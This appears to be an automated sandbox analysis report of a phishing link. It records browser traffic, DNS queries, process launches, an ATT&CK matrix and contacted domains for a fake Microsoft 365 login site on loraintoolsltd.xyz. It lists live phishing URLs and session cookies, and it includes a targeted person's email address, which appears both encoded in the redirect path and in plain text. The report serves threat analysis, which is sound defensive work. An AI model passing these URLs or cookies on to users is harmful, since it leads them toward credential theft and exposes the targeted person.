Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: live.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; uaid=abb966a027714cde88d952f170d57eb7; MSPRequ=id=N&lt=1737527072&co=1
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-8kSLO6wrQZ0=AQABCQEAAABVrSpeuWamRam2jAF1XRQE5fkEncxG9QeM-qo1UmVhqteZJb76vi_eNH1dwyErwrAu6FD0cDtav5HYWxxVe1p8N8_ke7TM16FA6obQvKqYn816juVW2-qN9MLTE0OeSy8gXK1_RTLHf9u8viOtVq-Exv4q37PP-NH0Z_QBzvGfMyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEoBUtVJjvv_YRU1IFfi-unVAJsNZpS6XUf-CVCnAJjBC7QtzlZSYExBMJmlvZoYOvz_oIO1Hg1ZCWLN800K7ghxMATvvyOj9gHlfvDiryxLIgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEbe6a9gh5UMhAfA4YLJF0Mg2oQpBuAsDl6gItPiH_3wMzFbaRvQQCQObinF_CoSqxUB6GZ9_mszBeBk86p2Kf3Us4XuFviUZbJTStK0qTL6mbx9SCJ0PJ_YvJV35e2HhoFkuV6E6sqDxQdkExM8blmHTLsyKRpI6PcVDlkcDyl7wgAA; esctx-N66YeBmIvkE=AQABCQEAAABVrSpeuWamRam2jAF1XRQERKuhjxvl0Atrbs9PGSpQb2xXEGDUFk81yU-TYP1bl8L8UwOutE-c9ZQYfiKFi-vkCfJtXyRQx_r9NmNN0LjkP_gRmFw_n_GQCtVh0hWk1BGaUGpGdlfZU721fwb_JpQKvdAI5c_AeGqrQ4yoeGG5OyAA; fpc=Al80S6UF-GNCmXSXQ1iGIMm8Ae7AAQAAAB-GIt8OAAAA; MicrosoftApplicationsTelemetryDeviceId=8fe38fa6-8928-4527-985f-0391f970b436; brcap=0; ai_session=ymGddwNB+fr5FQBxO9CKKA\|1737527075644\|1737527075644
Source: global traffic	HTTP traffic detected: GET /tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU= HTTP/1.1Host: sahadayiz.com.trConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: sahadayiz.com.trConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: sahadayiz.com.tr
Source: global traffic	DNS traffic detected: DNS query: login.loraintoolsltd.xyz
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: www.loraintoolsltd.xyz
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: live.loraintoolsltd.xyz
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauthimages.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/431424420:1737523604:zQsNKK_EULmLK6t-Izi3ZT6_56oVUwerMj_ulv66oTg/905d758c9c7f5e68/xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3210sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoIsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Wed, 22 Jan 2025 06:24:04 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">

Source: chromecache_75.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css
Source: chromecache_75.2.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback
Source: chromecache_72.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_72.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_104.2.dr, chromecache_91.2.dr	String found in binary or memory: https://login.loraintoolsltd.xyz
Source: chromecache_104.2.dr, chromecache_91.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: classification engine

Classification label: mal80.phis.troj.win@19/76@30/9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2360,i,1436909848134509898,18308899759362046418,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2360,i,1436909848134509898,18308899759362046418,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
http://sahadayiz.com.tr/favicon.ico	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/FgJIoRDm	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/favicon.ico	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	0%	Avira URL Cloud	safe
https://www.loraintoolsltd.xyz/login	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/FgJIoRDm?o=pHg-Y4s	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/	0%	Avira URL Cloud	safe
https://login.loraintoolsltd.xyz/common/GetCredentialType?mkt=en-US	0%	Avira URL Cloud	safe
https://live.loraintoolsltd.xyz/Me.htm?v=3	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
e329293.dscd.akamaiedge.net	95.101.182.65	true	false	high
login.loraintoolsltd.xyz	173.46.80.217	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
www.loraintoolsltd.xyz	173.46.80.217	true	true	unknown
challenges.cloudflare.com	104.18.95.41	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.186.68	true	false	high
sahadayiz.com.tr	217.18.85.38	true	false	unknown
live.loraintoolsltd.xyz	173.46.80.217	true	true	unknown
a1894.dscb.akamai.net	2.16.168.115	true	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
aadcdn.msftauthimages.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/	false		high
https://challenges.cloudflare.com/turnstile/v0/g/672eb098a9f3/api.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css	false		high
https://login.loraintoolsltd.xyz/common/login	true		unknown
https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	true	Avira URL Cloud: safe	unknown
http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=	false		unknown
https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	true		unknown
https://login.loraintoolsltd.xyz/favicon.ico	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://www.loraintoolsltd.xyz/login	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/431424420:1737523604:zQsNKK_EULmLK6t-Izi3ZT6_56oVUwerMj_ulv66oTg/905d758c9c7f5e68/xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI	false		high
